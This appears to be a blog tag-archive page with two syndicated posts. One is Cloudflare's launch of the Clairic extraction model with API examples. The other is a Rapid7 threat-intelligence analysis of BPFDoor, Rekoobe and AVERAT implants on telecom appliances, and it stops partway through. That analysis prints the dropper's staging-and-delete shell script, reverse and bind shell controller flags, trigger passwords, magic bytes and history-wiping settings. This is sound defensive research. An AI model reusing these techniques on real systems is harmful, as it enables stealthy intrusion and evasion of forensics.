Tag Archives: research

Introducing Clairic, a new System One class of extraction models

Post Syndicated from Alex Reneau original https://blog.cloudflare.com/clairic-extraction-model/

Today, we're announcing a preview of a new class of System One-style models: extraction models. Our first one, Clairic, is available hosted on Workers AI as @cf/cloudflare/clairic.We intend to release the model open-weights soon. Clairic is an extraction model that is able to extract, compute, estimate, and forecast values from unstructured inputs — all at a significantly higher accuracy, faster latency, and cheaper cost than traditional LLMs.

Context

When System One models were announced by TypeSafe a month ago, it took the industry by storm. As referenced by TypeSafe in their blog and defined by Daniel Kahneman’s book Thinking, Fast and Slow, a System One model should be fast and precise, which contrasts a System Two model that is capable of deliberate reasoning (like LLMs). With this, TypeSafe introduced Jev — a model that is purpose-fit for a specific use case, and priced accessibly given its niche domain. It excelled where LLMs failed, helping users make decisions based on probabilities and well-typed outputs. The introduction of Jev prompted people to start thinking about a new class of models that were not LLMs and how to integrate them into their workflows.

We were inspired by the concept of System One models and started thinking about other tasks where LLMs are inefficient. There are many structured-output calls going to frontier LLMs today with the same shapes again and again: What's the invoice total? When was this delivered? How many days late is it? What will this repair cost? What will traffic look like over the next 24 hours? None of these have answers you can list out in advance, which is needed for a decision model to give probabilities against. That led us to the class of models we're introducing today: System One extraction models.

Introducing System One extraction models

Until now, every System One model has been a decision model: Jev and Clef take an input state and a list of questions and give probabilities against the inputs and your listed questions. Clairic is the first model in a new class: System One extraction models. It is still fast, typed, and cheap, but it answers with values directly extracted from the input, computed from it, or predicted beyond it.

Most model tasks ask for one of three kinds of output: a number, a choice from a fixed set, or open-ended text. Clairic handles the first, returning numbers with an 80% range, and also pulls typed values like names, dates and lists out of the input. Clef handles the second: it picks among options and returns a probability for each. LLMs handle the third. We call Clairic and Clef System One models because they answer in a single pass, without reasoning or generating tokens. They charge only for input and typically respond in under a second, while an LLM that reasons through the same step takes several seconds.

An extraction model can return:

  • Extracted values: Text copied from the input, such as a name, an order ID or a description. Each one comes back as a span with its character offsets and a confidence score.
  • Including, computed values: Numbers, dates, times, datetimes, durations and lists, read from the input or worked out from it. They follow the rules of their type (for example, two decimals for cents) and come with a confidence score.
  • Estimated values: Values the input doesn't state but gives evidence for. Each one comes back as a distribution inside the bounds you declare, on the grid you specify, with a median and an 80% interval.
  • Forecasted values: Future values of a series, one estimate per step ahead, each with its own 80% interval.

And because it generates no tokens, it can't produce a mistyped answer or “hallucinate” in the same way as an LLM (though it can, of course, make mistakes). Outputs are a value of the type you asked for, or null when the model fails to find an answer in the input. It also comes with confidence scores against the outputs to help you evaluate if it is appropriate to trust the model or to take a second look.

Here’s how extraction models fit into the landscape of System One and System Two models:

System One: Extract

System One: Decide

System Two

Example models

Clairic

Jev, Clef

GPT, Claude, Gemini, DeepSeek

Sampling

One parallel pass

One parallel pass

One token at a time

Purpose

Predict values

Make decisions

Write and reason

ML framing

Regression and extraction

Classification

Generation

Thinking mode

System 1: fast, one pass

System 1: fast, one pass

System 2: slow, deliberate

Output

Typed values: spans, numbers, dates, times, lists, distributions, with calibrated probabilities

Typed decisions: options with calibrated probabilities

Free-form strings

Output space

Continuous, but typed and bounded by your schema

A finite set of options you list

Anything

What it answers

What's the amount? When does it happen? How much will it be?

Which category is it? Is it legitimate? Which action should we take?

Why did it happen? How should we approach it? Can you fix it?

Output always a valid response?

Yes: every answer is a value of its declared type (or null), inside your bounds

Yes: answers are always one of your options

No: strings must be parsed and checked

Together, these models can work together in unison to help you get closer to parsing through real-world data, making decisions on inputs, and then taking actions. Extraction models turn raw input into typed values, decision models turn values into decisions, and LLMs turn decisions into words.

How a request works

Clairic is designed differently than an LLM. Similar to a decision model, it only processes input tokens with a single forward pass, and thus has no charge for output tokens. It is much faster, cheaper, and more accurate than an LLM for certain use cases.

A request is a state (the text to read, plus up to four optional images) and a map of typed fields. You name each field, give it a type and optional plain-language instructions, and get back one typed answer per field, all from one parallel pass. There is no reasoning and no output tokens – everything computes in a single forward pass, which means it is both fast and cheap.

Type

Returns

text

A specific span of the input, with its offsets

number

A number read or computed, honoring integer and decimals

date, time, datetime

Calendar dates and valid times, in ISO form

duration

A length of time in the unit you choose

list

Matching text, number or date, in input order

estimate

A distribution inside your [min, max], on your step grid, linear or log scale.

forecast

One estimate per future step of a series

Every scalar answer comes with p_null (the probability that the value isn’t in the inputs) and confidence. Every estimate answer comes with a median and an 80% interval (p10 to p90), plus all 99 percentiles on request. There's no limit on the number of fields: if they don't fit beside the input in one pass, the server splits them into parallel passes that each see the whole input, then merges the answers.

Here are some examples to illustrate the model’s features. Of course, using these features in a workflow would require appropriate inputs.

An example: Extracting values

Extraction is probably the most common job handed to LLMs today: "return the invoice number, vendor and due date as JSON." It works most of the time, but the failure modes are hard to catch. The output may not be valid JSON, a digit can be misread as it's generated, and once a text excerpt comes back, there's no way to trace it to where it appeared in the source. Most people build extraction pipelines to combat this, with multiple layers of parsing, schema validation, retries and spot checks. On top of that, you pay for reasoning and output tokens on every field of every document.

Clairic operates differently; it doesn’t generate text answers. Instead, you get:

  • Values extracted from your input, so an answer is grounded.
  • Computed values, so it can parse through unstructured data without pre-sanitizing it.
  • Character offset spans, so you can reference where in the input the data was.
  • Confidence labels, so you can determine which values need a second look.
  • A strongly typed output, so numbers and dates are formed under the rules of their type (e.g., a cents field has two decimals).
  • Handling for null values, where a missing field returns with null as an answer (along with an estimated probability of null and a guess).
  • Cheaper and faster answers, because every field is answered in the same parallel pass. So asking for thirty fields costs about the same as asking for three.

Let’s walk through an example to illustrate the ways Clairic can extract values from unstructured data and make estimates. Take a customer support email:

Hi, order A-88412 arrived on Sept 28, 2026 with a cracked screen and a dented corner. I paid $649.00 plus $52.10 tax. It's now Oct 9, 2026 and I'd like this fixed or refunded. Thanks, Dana

From a Worker, you would make a request to Clairic to process this data:

const { answers } = await env.AI.run("@cf/cloudflare/clairic", {
  state: email,
  fields: {
    order_id:            { type: "text", instructions: "Order number" },
    delivered_on:        { type: "date", instructions: "Delivery date" },
    amount_paid:         { type: "number", decimals: 2, unit: "USD", instructions: "Total paid including tax" },
    days_since_delivery: { type: "duration", unit: "days", integer: true,
                           instructions: "Days from delivery to the date the customer wrote" },
    damage:              { type: "list", items: "text", instructions: "Each kind of damage described" },
    tracking_number:     { type: "text" },
  },
});

Clairic returns the extracted values, spans in the input, probability that it is null (p_null) and confidence score:

{
  "order_id": {
    "type": "text",
    "p_null": 3.4e-6,
    "span": [10, 17],
    "guess": "A-88412",
    "confidence": 0.999957,
    "value": "A-88412"
  },
  "delivered_on": {
    "type": "date",
    "p_null": 6.5e-8,
    "guess": "2026-09-28",
    "confidence": 0.999999,
    "value": "2026-09-28"
  },
  "amount_paid": {
    "type": "number",
    "p_null": 1.6e-5,
    "guess": 701.1,
    "confidence": 0.999944,
    "value": 701.1
  },
  "days_since_delivery": {
    "type": "duration",
    "p_null": 6.1e-9,
    "unit": "days",
    "guess": 11,
    "confidence": 0.999999,
    "value": 11
  },
  "damage": {
    "type": "list",
    "value": ["cracked screen", "dented corner"],
    "spans": [[50, 64], [71, 84]]
  },
  "tracking_number": {
    "type": "text",
    "p_null": 1,
    "span": [106, 112],
    "guess": "$52.10",
    "confidence": 0.416016,
    "value": null
  }
}

A few things to notice:

  • amount_paid isn't written anywhere in the email. In this example, Clairic added the price and the tax in the same pass and returns the sum.
  • days_since_delivery is also worked out from two dates in the text, not directly in the input.
  • damage lists both kinds of damage as exact spans, so you can highlight them in the source.
  • tracking_number isn't in the email, so it comes back null instead of a plausible-looking guess. guess shows what the model would otherwise have picked.

Clairic also works with images

Here’s a real-life photo of a receipt — the text is not perfect and the angle of the image doesn’t help its legibility. We passed this image to Clairic to see what it could extract:

{
  "model": "clairic",
  "answers": {
   "order_number": {
    "type": "number",
    "p_null": 0.0040206750854849815,
    "guess": 77245,
    "confidence": 0.776249383996532,
    "value": 77245
   },
   "purchased_at": {
    "type": "datetime",
    "p_null": 4.136094133855295e-08,
    "guess": "2026-07-01T13:34:00",
    "confidence": 0.831464227002992,
    "value": "2026-07-01T13:34:00"
   },
   "quantity": {
    "type": "number",
    "p_null": 5.2313655629632194e-08,
    "guess": 2,
    "confidence": 0.9997007500403496,
    "value": 2
   },
   "unit_price": {
    "type": "number",
    "p_null": 0.001599092734977603,
    "guess": 7.99,
    "confidence": 0.9991279019989127,
    "value": 7.99
   },
   "subtotal": {
    "type": "number",
    "p_null": 9.69956488461321e-08,
    "guess": 15.98,
    "confidence": 0.9999881983893096,
    "value": 15.98
   },
   "sales_tax": {
    "type": "number",
    "p_null": 2.5511653802823275e-06,
    "guess": 0,
    "confidence": 0.9999800924450729,
    "value": 0
   },
   "tip": {
    "type": "number",
    "p_null": 5.953857908025384e-05,
    "guess": 2.39,
    "confidence": 0.9335768781214697,
    "value": 2.39
   },
   "discount": {
    "type": "number",
    "p_null": 0.9994148015975952,
    "guess": 0,
    "confidence": 0.91852733929319,
    "value": null
   }
  }
}

As you can see, it was able to extract all the values from the images, alongside a confidence score. It also correctly stated that there was no discount shown in the receipt, giving the value as null.

An example: Estimating values

Some values aren't in the input at all, but the input carries evidence for them. For example, values might not be in plain text but can be discerned from values around it. If you ask an LLM for an estimation, you usually get a single number with no sense of how sure the model is. It will make safe guesses or hallucinate, or reason its way around the answer. If you land on an estimate, any downstream processing can't tell a confident $180 from an unconfident $180, so it can't help you decide what is appropriate to automate in the circumstances. It is also a lot slower and more expensive to do reasoning through LLMs.

A decision model can approximate an estimate by choosing among buckets ("under $100", "$100–500", …), but buckets are coarse, every bucket adds input tokens, and each new category adds more sources of confusion for the model during its decision making process.

Clairic returns a distribution over the range you declare: a point value, a median, an 80% interval, and every percentile on request. The estimate is designed to fall inside your bounds, so there's nothing to clamp or round afterward. The width of the interval reflects data confidence: a narrow range signals high certainty, while a wide range indicates low certainty, information you can use to route another check.

Here’s another example, where Clairic looks at historical home prices and comparable sales, to determine an estimate :

const { answers } = await env.AI.run("@cf/cloudflare/clairic", {
  state: `Comparable sales:
sqft,beds,year_built,neighborhood,sale_price
1450,3,1998,Elm Park,412000
2100,4,2006,Elm Park,585000
980,2,1975,Riverside,265000
1600,3,2003,Elm Park,449000
1300,3,1990,Riverside,318000

Subject property:
sqft,beds,year_built,neighborhood
1620,3,2001,Elm Park`,
  fields: {
    sale_price:     { type: "estimate", unit: "USD", min: 50000, max: 5000000, scale: "log", step: 1000 }
});

Clairic will return an estimated value:

{
  "sale_price":     { "type": "estimate", "value": 418000, "median": 415000, "p10": 370000, "p90": 470000, "p_below": 0.0, "p_above": 0.0 }
}

Values always fall inside your bounds, and the width of the interval shows how much the input informs the prediction: price is narrow ($370,000-$470,000), days on market is wide (24-148). Because fields are unlimited and answered in parallel, you can score many items in one call (one estimate per candidate, lead, or listing) and sort them in code.

An example: Forecasting values

Forecasting values in a time series is quite hard for generalized models — it usually means you have to either build a specific pipeline per metric (parse the data, fit a model, tune it, deploy it), or you paste 36 months of numbers into an LLM and ask for the next three. The first is accurate but really expensive and time-consuming to set up for every new series. The second is easy, but you get point forecasts with no intervals, forecasts that shift depending on how the prompt is worded, and answers with limited confidence.

Clairic sits between the two — it is not claiming to replace a dedicated time-series model, but it is a little faster and cheaper than your regular LLM. A forecast field takes the history as plain text in state and returns, for every step ahead, a value and an 80% interval, inside the bounds you declare. It reads the history the way you already have it, whether that's a CSV export, a pasted dashboard, or rows mixed with notes, and may often work with no need to clean up your data beforehand.

To see how that holds up on real data, we used a public series: the number of people the Transportation Security Administration (TSA) screens at U.S. airport checkpoints each day. Each morning we asked Clairic for the next day's count, given the real counts so far, for 21 days in a row:

const { answers } = await env.AI.run("@cf/cloudflare/clairic", {
  state: `Daily number of people screened at TSA checkpoints at US airports.
date,weekday,travelers
2026-07-16,Thu,2850229
...
2026-10-13,Tue,2353356
Forecast date: 2026-10-14 (Wed)`,
  fields: {
    travelers: { type: "forecast", horizon: 1, interval: "day",
                 min: 500000, max: 4000000, scale: "log",
                 instructions: "Number of people screened tomorrow" },
  },
});

Which returns:

{
  "travelers": { "type": "forecast", "value": [2416117], "median": [2419283], "p10": [2270774], "p90": [2556769] }
}

In actuality, TSA screened 2,419,474 people that day, which is right around the median 2,419,283 that Clairic predicted.

Data: TSA checkpoint travel numbers, accessed Oct. 15, 2026.

Across the 21 days, Clairic's forecasts were off by 3.3% on average, and 17 of the 21 actual counts landed inside its 80% interval, which follows what an 80% interval should do. It picked up the weekly rhythm from the numbers alone: quieter Tuesdays and Saturdays, busier Thursdays, Fridays, and Sundays.

The misses are also interesting: three of the four days outside the interval fall on the Columbus Day weekend, when more people flew than the previous weeks suggested. Clairic forecasts from the patterns in the series but doesn't account for events the series doesn't show, like holidays.

Thinking fast and slow

These models are designed to fit alongside your existing agentic workflows. An extraction model predicts values, a decision model decides what to do with these values, and an LLM takes action with them. It is a perfect marriage between System One and System Two models. It bridges the existing gap, where you either have to manually extract data for LLMs, or have an LLM parse through messy data (which is costly, time-consuming, and can lead to hallucinations). With System One extraction models, you can work with real-world data with more speed, efficiency, and precision.

Here's an example of the damaged-product claim from earlier, illustrating how all the models can work together.  We built this into a live demo you can try here.

// 1. Clairic turns the email into values
const facts = (await env.AI.run("@cf/cloudflare/clairic", {
  state: email,
  fields: {
    customer_name:       { type: "text", instructions: "Customer's first name" },
    order_id:            { type: "text", instructions: "Order number" },
    amount_paid:         { type: "number", decimals: 2, unit: "USD", instructions: "Total paid including tax" },
    days_since_delivery: { type: "duration", unit: "days", integer: true,
                           instructions: "Days from delivery to the date the customer wrote" },
    damage:              { type: "list", items: "text", instructions: "Each kind of damage described" },
    repair_cost:         { type: "estimate", unit: "USD", min: 10, max: 5000, scale: "log", step: 1,
                           instructions: "Cost to repair the damage described" },
  },
})).answers;
const { customer_name, order_id, amount_paid, days_since_delivery, damage, repair_cost } = facts;

// 2. Clef decides from Clairic's values and the policy, not from the raw email
const options = {
  refund:  "Full refund of the amount paid",
  repair:  "Free repair, with a prepaid shipping label",
};
const { choice } = (await env.AI.run("@cf/cloudflare/clef", {
  state: `Damage claim for order ${order_id.value}.
Paid: $${amount_paid.value.toFixed(2)}. Delivered ${days_since_delivery.value} days ago.
Damage reported: ${damage.value.join(", ")}.
Estimated repair cost: $${repair_cost.median} (80% range $${repair_cost.p10}-$${repair_cost.p90}).
Policy: refunds within 30 days of delivery. Prefer repair when it costs less than 60% of the price and the damage doesn't stop the product from working.`,
  questions: {
    resolution: { type: "choice", instructions: "What should we offer?", criteria: options },
  },
})).answers.resolution;

// 3. An LLM writes the reply, from the decision and the facts it needs
const { response } = await env.AI.run("@cf/zai-org/glm-5.3", {
  messages: [{
    role: "user",
    content: `Write a short, warm reply to ${customer_name.value}. Use only these facts: order ${order_id.value}; ` +
             `damage: ${damage.value.join(", ")}; what happens next: ${options[choice]}. Under 60 words.`,
  }],
});

Each step gets cleaner input than the one before. Clef decides from a five-line summary of typed values instead of a free-form email, which can also be susceptible to prompt injection. The LLM never sees the email, only the decision and the predictions it needs, so there are fewer numbers for it to misuse. Every step is typed and auditable, and only one step generates text. In the all-LLM version of this pipeline, all three steps are generative calls, and every value in the reply has to be checked by hand.

We ran this pipeline against an all-LLM version with GLM-5.3 writing the reply in both. In the all-LLM version, GLM-5.3 also does the extraction and the decision, from the same email, policy and prompts:

Clairic → Clef → GLM-5.3

GLM-5.3 for every step

Latency, end to end

19.3 s

61.7 s

1. Extract

Clairic: 0.46 s

GLM-5.3: 16.1 s

2. Decide

Clef: 0.22 s

GLM-5.3: 21.9 s

3. Reply

GLM-5.3: 18.6 s

GLM-5.3: 16.4 s

Input tokens

701 ($184 per million claims)

390 ($546 per million claims)

Output tokens

1,329 ($5,848 per million claims)

2,544 ($11,194 per million claims)

Cost per million claims

$6,032

$11,740

The cascade finished in 19.3 seconds against 61.7 seconds: 69% less time, or about 3.2 times faster. Clairic and Clef handled extraction and the decision in under a second combined, where GLM-5.3 took 38 seconds for the same two steps. It also costs 49% less to use the cascaded pipeline vs the all-LLM pipeline. With GLM, both pipelines got the facts and the decision right in every run, but Clairic's repair estimate was identical each time, while GLM-5.3's changed on every run ($250, $250 and $220, with different ranges each time).

Notably, under the all-LLM pipeline both Gemma 4 and Qwen failed at this task, as they were unable to deduce values like repair_cost from the inputs, showing how LLMs are not great at data extraction tasks.

Preview release

Today, we're releasing a hosted endpoint for Clairic on Workers AI. We intend to release the model with open weights soon. We wanted to take the time first to introduce the concept of a System One extraction model, so you can start thinking about how this class of model would fit into appropriate workflows.

The current endpoint is an early checkpoint and we expect it to get better. Here are our early impressions:

  • Reading is strong, but multi-step arithmetic isn't yet. One- and two-step calculations (totals, differences, conversions, date arithmetic) seem reliable. Longer chains of dependent steps are hard for any one-pass model without a scratchpad. The same goes for aggregating across many rows of a table. At least for now, have Clairic predict the value and let code do the math.
  • Estimates need evidence. Clairic estimates best from comparables, history, or descriptive text in the input. Asking it for a value it has no evidence for may be limited in specificity.
  • Calibration is measured, not guaranteed. Intervals are trained to be calibrated and are on most held-out sets, but they can run narrow on unfamiliar data.
  • Forecasting is basic. The model is not designed to accurately replace or predict time-series models that are trained on specific data. You should use it where appropriate, such as non-critical, general pattern matching, not detailed long-horizon forecasting.
  • Use confidence. The architecture makes every answer well formed, not necessarily correct. Use confidence, p_null and the intervals to decide what to automate (in an appropriate workflow context) and what to send off for additional review.

We'll keep working on the arithmetic, estimation and forecasting sides of the model with each checkpoint. After some more work, we plan to release the model open-weights for everyone to play around with as well.

Try it out

Clairic is available as a preview on Workers AI as @cf/cloudflare/clairic. Call it from a Worker with env.AI.run(), or from anywhere with the REST API. We have full model docs here, as well as a new docs explainer on how the extraction model API looks.

P.S. Since you liked the etymology of the name Clef, here’s how we landed on the name Clairic. We started with a desire to keep the name of the model thematically and sonically similar to Clef. Clair came to mind, sharing the same “cl” sound, as well as roots in music (“Clair de Lune”). More importantly, we wanted the name to be descriptive to the nature of the model. The Clairic model should be able to help you with clerical tasks like extracting data clearly from a corpus of inputs and upholding accuracy in tasks like bookkeeping. The prediction aspect of the model leans into the “Clair” root — allowing you to estimate and predict future values, similar to clairvoyance. Lastly, we like the idea of having this be [Cl]oudflare’s [AI R]egression model. Thus, Clairic was born into the world. We hope you enjoy it.

SMTP is the key: BPFDoor and AVERAT hitting the network edge

Post Syndicated from Rapid7 Intelligence original https://www.rapid7.com/blog/post/tr-smtp-is-the-key-bpfdoor-averat-hitting-the-network-edge

Overview

Rapid7 tracked a set of Linux samples that blend into the software and device conventions of the telecom environments they target. The set spans a newly observed BPFDoor variant, a BPF Rekoobe build seen against South Korean targets, a dropper, and six builds of a Linux implant we track as AVERAT, deployed against Taiwanese appliances. Additionally, we provide source code details of the Rapid7 BPFDoor controller introduced in our April 2026 blog, Stealthy BPFDoor Variants are a Needle That Looks Like Hay.

The chain uses two binaries. A dropper writes a shell script to the appliance’s storage mount and executes it. The script stages both payloads into /sbin under the names ntpdate and udevds, launches them, and deletes each file ten seconds later while the processes continue running. One of those payloads is the dropper itself, re-executing as a resident watchdog, leaving both processes running without an on-disk image.

The dropper derives its encryption key from the string ShareTech and lives in the appliance’s own add-on package directory. The BPFDoor variants seen against South Korean systems impersonate the PID file of SpamSniper, a Korean anti-spam product, and rotate through ten Linux daemon names. Across the samples, each component adopts names and conventions designed to look unremarkable in the environment it targets.

The common thread is regionalized disguise: each sample is aware of the vendor’s software running on the targeted systems and implements process spoofing accordingly. Passive BPF implants avoid conventional port scans; while outbound beacons hide inside ordinary DNS, TCP, and traffic, the threat-actor(s) are leveraging SMTP to stay under the radar. Telecommunications and network-edge operators are most affected, including embedded devices such as CCTV and DVR systems that can sit close to the network core. Readers will learn how each component works, what binds the six AVERAT builds to one another, and which behaviors and indicators to hunt for.

Technical analysis 

Rapid7 BPFDoor controller

bpfdoor-graphic-overview.png
Figure 1: Overview of BPFDoor HTTP-tunneled trigger flow through edge proxy

⠀

Following our introduction of the Rapid7 BPFDoor controller, published in March, this section examines new features from the reconstructed source code.

Earlier BPFDoor variants relied on raw “magic bytes” (like 0x7255 or 0x5293) sitting in the TCP or UDP headers. Once security vendors wrote static network signatures (Suricata/Snort) to detect these Layer 4 anomalies, the operators began targeting the edge proxies. By wrapping the magic packet in standard HTTPS POST requests and relying on SSL offloading common in telecom environments, the trigger can be delivered to the BPFDoor-infected node in a way that may evade conventional deep packet inspection.

Because proxies alter HTTP headers (adding X-Forwarded-For and changing User-Agent lengths), the malware can no longer rely on static byte offsets to find its payload. To solve this, the new controller sends fake, benign-looking web requests (e.g., POST /admin/login.aspx?id=99990) that are mathematically padded. This guarantees that the string “9999” lands at exactly offset 26 of the TCP payload consistently.

The backdoor uses this “9999” as a reference point, dynamically scans for the \r\n\r\n terminator, and extracts the hex-encoded command payload from the HTTP body.

The dogetlogin function contains the hardcoded paths blending in with legitimate requests:

dogetlogin-hardcoded-paths.png
Figure 2: Hardcoded web login paths used by the dogetlogin function

⠀

When running, the controller spoofs the identity of /usr/sbin/abrtd via set_proc_name and PR_SET_NAME. The #ifndef SOLARIS compiles safely across different operating systems, applying the abrtd disguise only where the Linux-specific prctl function is supported.

abrtd-disguise.png
Figure 3: Process name spoofing logic applying the abrtd disguise on non-Solaris systems

⠀

The table below lists the Rapid7 controller flags, with new features identified relative to the TrendAI analysis marked accordingly.

Switch

Variable/Action

Description

-h

destip

Specifies the target host (the infected machine’s IP address) to control.

-d

dport

Sets the destination port on the infected host to send the trigger packet to.

-l

lhost

Sets the remote IP address that the infected machine will connect back to (Reverse Shell).

-s

lport

Sets the destination port to listen for incoming connections on the attacker’s machine.

-m

self = 1

Sets the attacker’s local IP address as the remote host, automatically setting up the local listener (overwrites -l).

-b

bport

Instructs the controller to bind to a specified TCP port locally (Bind Shell mode).

-n

nopass = 1

Sends the packet without prompting for a password (sends an empty/hashed password). Often used just to check if the backdoor is alive.

-i

raw = 2

ICMP mode. Embeds the magic packet into an ICMP Echo Request.

-u

raw = 3

UDP mode. Sends the magic packet via a UDP datagram.

-w

raw = 1

TCP mode. Sends the magic packet via a raw TCP SYN packet.

-f

magic_flag

Allows the operator to manually define a custom magic byte sequence (integer value).

-o

magic_flag = 0x5571

Quick-sets the magic bytes/flag to 0x5571.

-H

hdestip

[NEW] Specifies a secondary “hidden” IP address to embed inside the newly added hip field used to relay the magic packet. 

-g

gethost

[NEW] Activates the HTTPS POST tunneling mode (dogetlogin).

-D

dir

[NEW] Customizes the URI directory path to blend into specific web server logs when using the -g (HTTPS POST) mode.

-v

debug = 1

[NEW] Enables verbose/debug mode, which is particularly useful for printing out the crafted HTTP requests and responses.

-t

tmout

[NEW] Sets a custom timeout value.

-c

break;

[DEPRECATED] Parses the flag but takes no actions

Table 1: Rapid7 BPFDoor Controller Flags and Descriptions

A new BPFDoor variant tied to the South Korean cluster

The BPFDoor variants create a raw PF_PACKET socket, attaching a classic BPF filter matching Rapid7 Variant F and using magic bytes 0x6693 (UDP), 0x4274 (TCP) and 0x7820 (ICMP). On a match, the implant extracts the source address and connects back to the sender if the password is gZbpx0, opens a bind shell if the password is sT21xf, and otherwise defaults to a UDP knock.

Strings are hidden with a rotating substitution alphabet. Decoding reveals a direct product-spoofing artifact and a set of service-name disguises. The SpamSniper /var/run/spamsniper.pid mutex, together with the sample provenance, ties this build to the South Korean cluster.

List of spoofed processes:

[watchdogd]                           /usr/sbin/chronyd
/usr/lib/polkit-1/polkitd --no-debug  /usr/sbin/rsyslogd -n
[scsi_tmf_6]                          /usr/sbin/crond -n
/usr/sbin/NetworkManager --no-daemon  /usr/bin/python -Es /usr/sbin/tuned -l -p
[charger_manager]                     [kaluad_sync]

⠀

SpamSniper is antispam software used mainly in South Korea, so this masquerade is consistent with targeting a Korean mail or telecom environment. The variants a37ea9897221d4495b538de72b74f2aa1d2ff09b7b6dcedd395aee58931adbf3 and 7e667ba5f9df912e02275d3cfe3809d16f822fe776f4035c84b118ebd925b1b5 share the same filter, packet parser, callback, and command paths.

The data plane variant

The BPFDoor sample (a6f3b7f932761fb1fd5e74123f2482e36c65dd13e769af2ce08c65da195bfa7a) attaches a SOCK_RAW 16-BPF instructions parsing IP/TCP offsets and gates on a 14-byte payload (2B 76 C0 63 83 E9 5F E1 EE 69 3F 32 CD 94, unique per sample).

BPF-filtering-abc00922-TCP-magic-bytes.png
Figure 4: BPF filtering for abc00922 TCP magic bytes

⠀

It spoofs its process name to ora_ppmond, mimicking the naming convention of Oracle-backed telecom subscriber and provisioning platforms (HSS, OSS/BSS), a disguise that only reads as legitimate on hosts actually running that class of infrastructure. Once triggered, it opens a stock Tiny Shell session and dispatches single-byte ‘S’/’U’/’D’ commands — interactive shell, upload, download — the same switch-case and iptables NAT-redirect staging/teardown logic found byte-for-byte in a second sample 4435fcd6862921092614dbeaa880e4192352984686ebcd98f0ba13ee8e226ef9 (the latter spoofing /sniper/snipe/bin/dtnpd and /sniper/bin/ofgmd). These samples show BPFDoor operating as a modular framework that adapts to the telecom layer it targets, integrating Tiny Shell and Rekoobe logic to support exfiltration.

BPFDoor-Tinyshell-logic.png
Figure 5: Tinyshell logic integrated into BPFDoor

⠀

BPF Rekoobe 

The sample 652508a9cf40bee883dc0e5e219dfeba71fe7dac591d01c89f74c21f73b4963f is a Rekoobe-based backdoor. It attaches a 26 BPF instruction filter, sniffing for TCP/UDP/SCTP IPv4 and UDP IPv6 traffic with source and destination ports equal 25. Strings are protected with a repeating-key XOR routine (uvTIgh47,@#R), which decodes internal markers and command tokens. The magic packet is authenticated against a 32-byte sequence: 5C A3 1E F9 72 84 DB 40 26 9F C8 35 E1 7D 0A B2 4D 68 93 0F E7 5A B4 21 8C D6 39 F2 47 1B 60 CE. C2 interactions begin by sending the following 12-byte handshake: 50 01 13 3F 08 5C 73 7B 1A 72 53 78 (decrypting to “%wGvo4GL62p*” using the XOR key above).

Process names are drawn from an encrypted table and set through argv rewriting (Table 2).

Spoofed process name

Description

/sniper/bin/crond -n

Sniper platform cron daemon

/sniper/bin/earsd –start

earsd — Sniper EMS/alarm daemon (Element Management System)

/usr/lib/polkit-1/polkitd –no-debug

Generic Linux disguise — blends on any distro

/sniper/apache/bin/httpd -k start

Sniper’s bundled Apache

/sniper/snipe/bin/snipe-smtpd

Sniper’s internal SMTP daemon

Table 2: BPF Rekoobe Spoofed Process Names

On a SpamSniper appliance, SMTP server-to-server relay traffic is the primary legitimate traffic type the appliance is designed to handle. A firewall in front of the appliance will commonly allow rules such as:

ACCEPT tcp --sport 25 --dport 25  (MTA relay)
ACCEPT tcp --dport 25             (inbound mail)

A magic packet with src=25, dst=25 would match the first rule and reach the raw socket before any stateful inspection. The implant authors understood exactly what traffic profile would be invisible on this specific class of host.

The command interface relies on the same cryptography (HMAC-SHA1, AES-CBC) and opcodes as the standard Tinyshell/Rekoobe.

By setting variables like VIMINIT=”set viminfo=”, HISTFILE=/dev/null, HISTSIZE=0, and HISTFILESIZE=0, the malware ensures that the attacker’s commands are not logged to bash history nor to vim logs. The reverse shell spoofs “/sniper/autorun/rblsmtpd –start -n 9“ and connects on the attacker’s port 25. Rblsmtpd is a standard daemon used by mail servers (like qmail) to block mail from IPs listed in Real-time Blackhole Lists (RBLs).

A dropper likely built for ShareTech appliances

The dropper (update:2bedc26d4b29b435c21962beed7db21188a0219a0d28334bba8b4fb1656d7b15) is an x86-64 ELF with a minimal import table — fopen, fwrite, fputs, fclose, chmod, system, strlen, sleep, access, memcpy, exit — and no networking. It is a local installer, run after access is already established.

It carries four AES-128-ECB blobs keyed on the first sixteen bytes of SHA1(“ShareTech”), or 6C CA D5 17 0E 3D B8 17 B3 DF 52 E0 D9 71 B1 48. The operators seeded their own key derivation with the target vendor’s name.

AES-key-derivation-seeding-routine.png
Figure 6: AES key derivation seeding routine from SHA1(“ShareTech”)

⠀

The blobs decrypt to three paths and a script:

/tmp/flag                        (precondition gate — checked, never written)
/HDD/ms6x2xTo64/updIptable.php   (shell script under a .php extension)
/HDD/ms6x2xTo64/execProcEnd     (watchdog marker)

#!/bin/sh
/bin/cp -f /addpkg/sbin/update /sbin/ntpdate
chmod 755 /sbin/ntpdate
/sbin/ntpdate &
sleep 10
rm -rf /sbin/ntpdate
/bin/cp -f /addpkg/sbin/agetty /sbin/udevds
chmod 755 /sbin/udevds
/sbin/udevds &
sleep 10
rm -rf /sbin/udevds

⠀

Execution is gated on one precondition: the install branch fires only when /tmp/flag already exists on the filesystem and the .php script does not. When the gate passes, the dropper writes the script to the appliance’s bulk-storage mount, chmods it 0777, hands it to system(), and exits. Because system() runs sh -c against a file carrying a real shebang, /HDD must be both writable and exec-capable. A noexec mount returns EACCES, for which the shell offers no interpreter fallback.

The script then copies two malicious binaries from /addpkg into /sbin as ntpdate and udevds, runs each, and unlinks them ten seconds later. Both keep running with no on-disk image: /proc/<pid>/exe resolves to (deleted), so there is nothing to hash, quarantine or submit, and a responder grepping /sbin finds nothing at all.

The elegant part is that /sbin/ntpdate is the dropper re-executing itself; the second instance finds the .php already present, fails the gate, and drops into a two-second watchdog that recreates execProcEnd and re-writes the script whenever either disappears. That also explains the absence of any persistence code: /addpkg/sbin/ is the appliance’s own add-on package directory, so the firmware’s package startup very likely relaunches it at boot.

AVERAT: A modular implant reaching into ORB

The dropper copies AVERAT into /sbin/udevds, marks it executable, launches it, sleeps ten seconds, and removes it. 

Command and control

The implant connects outbound to port 25 and speaks SMTP: it issues EHLO, requests STARTTLS, and only then begins its own encrypted session. On a mail security gateway, outbound SMTP to arbitrary mail exchangers is the device’s core function, so the traffic is indistinguishable from legitimate work in flow records.

The TLS layer is hand-built rather than linked from a standard cryptographic library. A fixed ClientHello template is compiled into the binary, including a 40-entry cipher suite list and a fixed extension ordering. Peer authentication is deferred entirely to the application layer via a shared-secret handshake carrying the magic value 1571 (0x0623).

